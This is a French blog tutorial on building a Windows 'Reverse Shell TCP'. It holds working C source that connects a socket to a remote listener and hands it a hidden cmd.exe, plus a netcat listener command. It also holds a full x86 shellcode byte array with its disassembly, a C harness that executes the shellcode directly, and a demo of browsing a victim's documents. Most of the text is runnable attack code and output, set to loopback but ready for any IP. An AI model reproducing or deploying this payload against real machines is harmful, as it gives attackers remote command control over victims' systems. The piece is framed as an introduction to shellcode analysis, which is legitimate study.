mercredi 13 septembre 2017

Shellcode "Reverse Shell TCP"


I.    Introduction


Nous allons représenté dans cette article comment crée un  shellcode "Reverse Shell TCP Windows".

le principe est assez simple en soit, le shellcode lance un 'cmd' avec le flux redirigé sur une socket ouverte vers un serveur attendant les connexions des victimes


 
- Le Pseudo code d'un Reverse Shell TCP windows (client)

Il ce décompose en 4 étapes

Etape 1 : Initialiser la bibliothèque des sockets avec en appelant WSAStartup(..)  
Etape 2 : Créer une socket
Etape 3 : Connecter la socket vers le serveur avec le port distant  
Epate 4 : Démarrer le programme "cmd" en mode invisible en redirigeant les flux sur la
socket 
 

II.    Ecriture en C de notre shellcode


Nous avons écrit le code équivalent en C dans un but pédagogique et permettre de faire un parallèle
avec le Shellcode vu par la suite qui effectuera les mêmes actions

dans un programme en C , il faut avant de pouvoir utiliser la librairie "WinSock2.h" et donc des sockets dans notre code, Il faut initialiser son utilisation dans notre programme.Cela se fait en appelant la fonction "WSAStartup" en premier
Pour la création du processus "cmd.exe", nous utiliserons l'Api "CreateProcess"

pour pouvoir configurer le mode d'affichage, nous devons préciser activer le flag STARTF_USESHOWWINDOW.
Idém pour pouvoir effectué le routage des flux nous devons activer le flag STARTF_USESTDHANDLES et en configuret les 3 flux (hStrOutput,hStrInput,..) de STARTUPINFO vers la socket.

Voici notre code exemple crée dans un projet Visual studio 2008
#include "stdafx.h"
#include "WinReverseShellOfC.h"

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

int APIENTRY _tWinMain(HINSTANCE hInstance,
                                         HINSTANCE hPrevInstance,
                                         LPTSTR    lpCmdLine,
                                         int       nCmdShow)
{
     // Etape 1 : Initialiser la bibliothèque des sockets en appelant WSAStartup(..) 
     WSADATA WSAData;
     WSAStartup(0x0200, &WSAData);  // Winsock2 est utilisé

     // Etape 2 :Create a SOCKET pour la connexion vers le server
     SOCKET MyClSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

     SOCKADDR_IN stSockAdr;

     stSockAdr.sin_family = AF_INET;
    stSockAdr.sin_port = htons(8091);                             // Configuration du port
    stSockAdr.sin_addr.s_addr = inet_addr("127.0.0.1");  // Configuration de l'IP

     // Etape 3 : Connecter la socket vers le serveur avec le port distant 
     int iResult = connect( MyClSocket, (sockaddr *) &stSockAdr, sizeof(stSockAdr));

     STARTUPINFO si;
     ::ZeroMemory(&si, sizeof(si));
     PROCESS_INFORMATION pi;
     ::ZeroMemory(&pi, sizeof(pi));
               
     // Epate 4 : Démarrer "cmd" en redirigeant les flux sur la socket
     si.cb   = sizeof(si);
     si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
     si.wShowWindow = SW_SHOWNORMAL;
     si.hStdInput  = (HANDLE) MyClSocket;
     si.hStdError  = (HANDLE) MyClSocket;
     si.hStdOutput = (HANDLE) MyClSocket;

     char szCmdline[4]="cmd";

      BOOL bRes = CreateProcess(0,szCmdline,0,0,TRUE,CREATE_NO_WINDOW|IDLE_PRIORITY_CLASS,0,0,&si,&pi);

     DWORD dwResWait = WaitForSingleObject(pi.hProcess, INFINITE);

     closesocket(MyClSocket);

     return 1;
}
 
Mais pour pouvoir tester celui-ci, il nous faut un serveur ou un programme écoutant vers le port définit


C'est ce que l'on va voir dans la partie suivant disposer d'un serveur pour le teste

III.    La partie serveur "Reverse Shell TCP"


Nous allons utilisons un programme maison cela permet de voir plusieurs connexion en même temps. 
Et l'avantage permet de faire des copier/coller rapide dans le display permettant également de suivre
la trace des actions sur des échantillons du Web.

  





















Mais dans notre cas d'école, vous n'avez pas besoin de cela un simple "netcat" suffira largement. 
Vous pouvez le télécharger à l'url suivant: "https://eternallybored.org/misc/netcat/"

Vous devez simplement le lancer en mode serveur via la commande suivant dans un cmd

nc.exe -L -p 8091










Comme aucune connexion n'est effectué sur celui-ci, il reste en attente avec le curseur qui clignote
Maintenant si nous lançons notre programme C au dessus. Vous voyer la connexion et le sortie apparaître 










Et maintenant vous pouvez effectué l'interaction avec la cible, par exemple taper dir <ENTRER> qui va lister le répertoire de travail de la cible donc notre répertoire ou est le programme WinReverseShellOfC

  








Bon bien sur, si vous devez refaire le test, il faudra fermer le cmd et relancer 
la même commande.Maintenant passons au chose sérieuse, et utilisons un shellcode
pour faire notre "Reverse Shell TCP"

IV.    Le Shellcode  d'exemple

 

Pour cela nous n'avons pas chercher très loin. Nous utilisons un outil de notre tools
"ConstructShellCodePEBShellReverseTCP.exe" qui inclus la génération à la volé sur un model classique de metasploit. l'intérêt est qu'il générer le shellcode avec IP et le Port souhaité sans avoir a réfléchir

Pour notre démonstration de base nous avons fixer l'IP en locale donc 127.0.0.1 et le port 8091.

 



























Dont voici le Shellcode remis dans un tableau C

unsigned char szShellCode_ReverseShellTCP[] =
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C"
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52"
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20"
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC"
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75"
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3"
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF"
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77"
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00"
"\x00\x01\x68\x02\x00\x1F\x9B\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5"
"\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5"
"\xA2\x56\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31\xF6"
"\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44\x24"
"\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53\x56"
"\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68\x08"
"\x87\x1D\x60\xFF\xD5\xBB\xF0\xB5\xA2\x56\x68\xA6\x95\xBD\x9D\xFF"
"\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A"
"\x00\x53\xFF\xD5";

Maintenant c'est pas trop lisible en soit, donc nous allons désassemblé cela via un outil
Cela nous donne le code assembleur X32 et les opcodes correspondant du shellcode.

00000000:   FC                                      CLD
00000001:   E8 82 00 00 00                   CALL 00000082h (+82h ->:00000088)
00000006:   60                                       PUSHAD
00000007:   89 E5                                  MOV EBP,ESP
00000009:   31 C0                                 XOR EAX,EAX
0000000B:   64 8B 50 30                       MOV EDX,DWORD PTR FS:[EAX+30h]
0000000F:   8B 52 0C                            MOV EDX,DWORD PTR DS:[EDX+0Ch]
00000012:   8B 52 14                            MOV EDX,DWORD PTR DS:[EDX+14h]
00000015:   8B 72 28                            MOV ESI,DWORD PTR DS:[EDX+28h]
00000018:   0F B7 4A 26                       MOVZX ECX,WORD PTR [EDX+26h]
0000001C:   31 FF                                 XOR EDI,EDI
0000001E:   AC                                      LODSB
0000001F:   3C 61                                 CMP AL,61h
00000021:   7C 02                                 JL 02h (rel8)(+02h ->:00000025)
00000023:   2C 20                                 SUB AL,20h
00000025:   C1 CF 0D                            ROR EDI,0Dh (13)
00000028:   01 C7                                 ADD EDI,EAX
0000002A:   E2 F2                                 LOOP F2h (-FFFFFFF2h=>:0000001E) Dec ECX or CX jump if !=0
0000002C:   52                                      PUSH EDX
0000002D:   57                                      PUSH EDI
0000002E:   8B 52 10                            MOV EDX,DWORD PTR DS:[EDX+10h]
00000031:   8B 4A 3C                           MOV ECX,[EDX+3Ch]
00000034:   8B 4C 11 78                       MOV ECX,DWORD PTR [ECX+EDX*1+78h]
00000038:   E3 48                                  JECXZ 48h (-FFFFFFB8h ->:00000082)
0000003A:   01 D1                                 ADD ECX,EDX
0000003C:   51                                      PUSH ECX
0000003D:   8B 59 20                            MOV EBX,DWORD PTR [ECX+20h]
00000040:   01 D3                                 ADD EBX,EDX
00000042:   8B 49 18                            MOV ECX,DWORD PTR[ECX+18h]
00000045:   E3 3A                                 JECXZ 3Ah (-FFFFFFC6h ->:00000081)
00000047:   49                                       DEC ECX
00000048:   8B 34 8B                            MOV ESI,[EBX+ECX*4]
0000004B:   01 D6                                 ADD ESI,EDX
0000004D:   31 FF                                 XOR EDI,EDI
0000004F:   AC                                      LODSB
00000050:   C1 CF 0D                            ROR EDI,0Dh (13)
00000053:   01 C7                                 ADD EDI,EAX
00000055:   38 E0                                  CMP AL,AH
00000057:   75 F6                                  JNZ F6h (rel8)(-0Ah ->:0000004F)
00000059:   03 7D F8                            ADD EDI,DWORD PTR [EBP-08h]
0000005C:   3B 7D 24                            CMP EDI,DWORD PTR [EBP+24h]
0000005F:   75 E4                                  JNZ E4h (rel8)(-1Ch ->:00000045)
00000061:   58                                       POP EAX
00000062:   8B 58 24                            MOV EBX,DWORD PTR DS:[EAX+24h]
00000065:   01 D3                                 ADD EBX,EDX
00000067:   66 8B 0C 4B                       MOV CX,WORD PTR DS:[EBX+ECX*2]
0000006B:   8B 58 1C                            MOV EBX,DWORD PTR DS:[EAX+1Ch]
0000006E:   01 D3                                 ADD EBX,EDX
00000070:   8B 04 8B                            MOV EAX,DWORD PTR[EBX+ECX*4]
00000073:   01 D0                                 ADD EAX,EDX
00000075:   89 44 24 24                        MOV DWORD PTR[ESP+24h],EAX
00000079:   5B                                      POP EBX
0000007A:   5B                                      POP EBX
0000007B:   61                                      POPAD
0000007C:   59                                      POP ECX
0000007D:   5A                                      POP EDX
0000007E:   51                                       PUSH ECX
0000007F:   FF E0                                  JMP EAX
00000081:   5F                                       POP EDI
00000082:   5F                                       POP EDI
00000083:   5A                                      POP EDX
00000084:   8B 12                                 MOV EDX,DWORD PTR [EDX]
00000086:   EB 8D                                 JMP 8Dh (-73h ->:00000015)
00000088:   5D                                      POP EBP
00000089:   68 33 32 00 00                   PUSH 00003233h "32"
0000008E:   68 77 73 32 5F                   PUSH 5F327377h "ws2_"
00000093:   54                                       PUSH ESP
00000094:   68 4C 77 26 07                  PUSH 0726774Ch "Lw&" (0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))
00000099:   FF D5                                 CALL EBP
0000009B:   B8 90 01 00 00                  MOV EAX, 00000190h ""
000000A0:   29 C4                                 SUB ESP,EAX
000000A2:   54                                      PUSH ESP
000000A3:   50                                      PUSH EAX
000000A4:   68 29 80 6B 00                  PUSH 006B8029h ")€k" (006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))
000000A9:   FF D5                                 CALL EBP
000000AB:   50                                      PUSH EAX
000000AC:   50                                      PUSH EAX
000000AD:   50                                      PUSH EAX
000000AE:   50                                      PUSH EAX
000000AF:   40                                      INC EAX
000000B0:   50                                      PUSH EAX
000000B1:   40                                      INC EAX
000000B2:   50                                      PUSH EAX
000000B3:   68 EA 0F DF E0                 PUSH E0DF0FEAh "êßà" (E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))
000000B8:   FF D5                                 CALL EBP
000000BA:   97                                      XCHG EAX,EDI (Exchanges (swaps) the value of 2 registers)
000000BB:   6A 05                                PUSH 5h
000000BD:   68 7F 00 00 01                  PUSH 0100007Fh ""
000000C2:   68 02 00 1F 9B                  PUSH 9B1F0002h "[1]"
000000C7:   89 E6                                 MOV ESI,ESP
000000C9:   6A 10                                 PUSH 10h
000000CB:   56                                      PUSH ESI
000000CC:   57                                      PUSH EDI
000000CD:   68 99 A5 74 61                 PUSH 6174A599h "™¥ta" (6174A599=Hash[Ror13-Hybrid](ws2_32.dll!connect))
000000D2:   FF D5                                 CALL EBP
000000D4:   85 C0                                 TEST EAX,EAX
000000D6:   74 0C                                 JZ 0Ch (-FFFFFFF4h ->:000000E4)
000000D8:   FF 4E 08                            DEC DWORD PTR [ESI+08h]
000000DB:   75 EC                                 JNZ ECh (rel8)(-14h ->:000000C9)
000000DD:   68 F0 B5 A2 56                 PUSH 56A2B5F0h "ðµ¢V" (56A2B5F0=Hash[Ror13-Hybrid](Kernel32.dll!ExitProcess))
000000E2:   FF D5                                 CALL EBP
000000E4:   68 63 6D 64 00                  PUSH 00646D63h "cmd"
000000E9:   89 E3                                  MOV EBX,ESP
000000EB:   57                                      PUSH EDI
000000EC:   57                                      PUSH EDI
000000ED:   57                                      PUSH EDI
000000EE:   31 F6                                  XOR ESI,ESI
000000F0:   6A 12                                 PUSH 12h
000000F2:   59                                       POP ECX
000000F3:   56                                       PUSH ESI
000000F4:   E2 FD                                 LOOP FDh (-FFFFFFFDh=>:000000F3) Dec ECX or CX jump if !=0
000000F6:   66 C7 44 24 3C 01 01        MOV WORD PTR [ESP+3Ch], 0101h 
000000FD:   8D 44 24 10                       LEA EAX,DWORD PTR [ESP+10h]
00000101:   C6 00 44                            MOV BYTE PTR [EAX],44h
00000104:   54                                       PUSH ESP
00000105:   50                                       PUSH EAX
00000106:   56                                       PUSH ESI
00000107:   56                                       PUSH ESI
00000108:   56                                       PUSH ESI
00000109:   46                                       INC ESI
0000010A:   56                                      PUSH ESI
0000010B:   4E                                      DEC ESI
0000010C:   56                                      PUSH ESI
0000010D:   56                                      PUSH ESI
0000010E:   53                                       PUSH EBX
0000010F:   56                                       PUSH ESI
00000110:   68 79 CC 3F 86                  PUSH 863FCC79h "yÌ?†" (863FCC79=Hash[Ror13-Hybrid](kernel32.dll!CreateProcessA))
00000115:   FF D5                                 CALL EBP
00000117:   89 E0                                  MOV EAX,ESP
00000119:   4E                                       DEC ESI
0000011A:   56                                      PUSH ESI
0000011B:   46                                      INC ESI
0000011C:   FF 30                                 PUSH DWORD PTR[EAX]
0000011E:   68 08 87 1D 60                PUSH 601D8708h " ‡`" (601D8708=Hash[ROR13-Hybrid](ws2_32.dll!WaitForSingleObject))
00000123:   FF D5                                 CALL EBP
00000125:   BB F0 B5 A2 56                 MOV EBX,56A2B5F0h "ðµ¢V"
0000012A:   68 A6 95 BD 9D                PUSH 9DBD95A6h "¦•½" (EC0E4E8E=Hash[ROR13-Hybrid](kernel32.dll!GetVersion))
0000012F:   FF D5                                 CALL EBP
00000131:   3C 06                                 CMP AL,06h
00000133:   7C 0A                                 JL 0Ah (rel8)(+0Ah ->:0000013F)
00000135:   80 FB E0                            CMP BL,E0
00000138:   75 05                                  JNZ 05h (rel8)(+05h ->:0000013F)
0000013A:   BB 47 13 72 6F                 MOV EBX,6F721347h "G ro" (6F721347=Hash[ROR13-Hybrid](ntdll.dll!RtlExitUserThread))
0000013F:   6A 00                                 PUSH 0h
00000141:   53                                       PUSH EBX
00000142:   FF D5                                 CALL EBP

C'est bien gentil d'avoir tous ceci , mais c'est pas encore assez claire. Pour visualiser un peu plus facilement 
la structure de ce shellcode. Nous utilisons l'analyse "Diagram" permettant découper les shellcodes avec
une collection de référence de fonction ou bloc standard.

Nous avons mis en rouge la fonction importante et le bleu la récupération de l'addresse stocker dans EBP






























 Nous retrouvons une variant de la classique fonction CallApiByHash13Hybrid.
 Et donc nous avons une structure proche de notre code C/C++ du dessus au finale 

V.    Test de notre Shellcode


Ici nous ne cherchons pas à l'injecter dans un processus ou autre. Nous allons simplement crée un petit programme 
via Visual Studio pour lancer notre shellcode

#include "stdafx.h"
#include "TestShellcodeWinReverseShellOfC.h"

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

unsigned char szShellCode_ReverseShellTCP[] =
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C"
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52"
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20"
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC"
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75"
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3"
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF"
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77"
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00"
"\x00\x01\x68\x02\x00\x1F\x9B\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5"
"\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5"
"\xA2\x56\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31\xF6"
"\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44\x24"
"\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53\x56"
"\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68\x08"
"\x87\x1D\x60\xFF\xD5\xBB\xF0\xB5\xA2\x56\x68\xA6\x95\xBD\x9D\xFF"
"\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A"
"\x00\x53\xFF\xD5";

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
                int (*TestRun_Shellcode)() = (int(*)())(&szShellCode_ReverseShellTCP[0]);
                TestRun_Shellcode();
                return 1;
}

dans notre cas, nous avons intégrer à nos outils de création de shellcode, toujours la fonction "Run" permettant de teste en live les modification dans le zone de saisie. Mais comme dit c'est du confort quand on test des variantes du web.

Voici maintenant la capture de la démonstration avec un Virtual Machine "WinXP" et la vision du poste de l'attaquant sous Windows 7 avec l'énumération via "dir" du répertoire "Mes documents" sur le poste victime en XP. Et donc visualer les documents dont pour exemple "Sample.txt" qui dans la cas réel serait des documents de la victime.


 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

VI.    Conclusions


Il existe une multitude de shellcode de base disponible effectuant un "Reverse Shell TCP". Le but était une initiation et permettre d'introduire un autre sujet la comparaison des shellcodes et des sources exacte des shellcode.Nous avions commencé un article sur "Polymorphisme, l'intérêt est connaître qu'elle shellcode contient exactement le shellcode sans l'exécuté.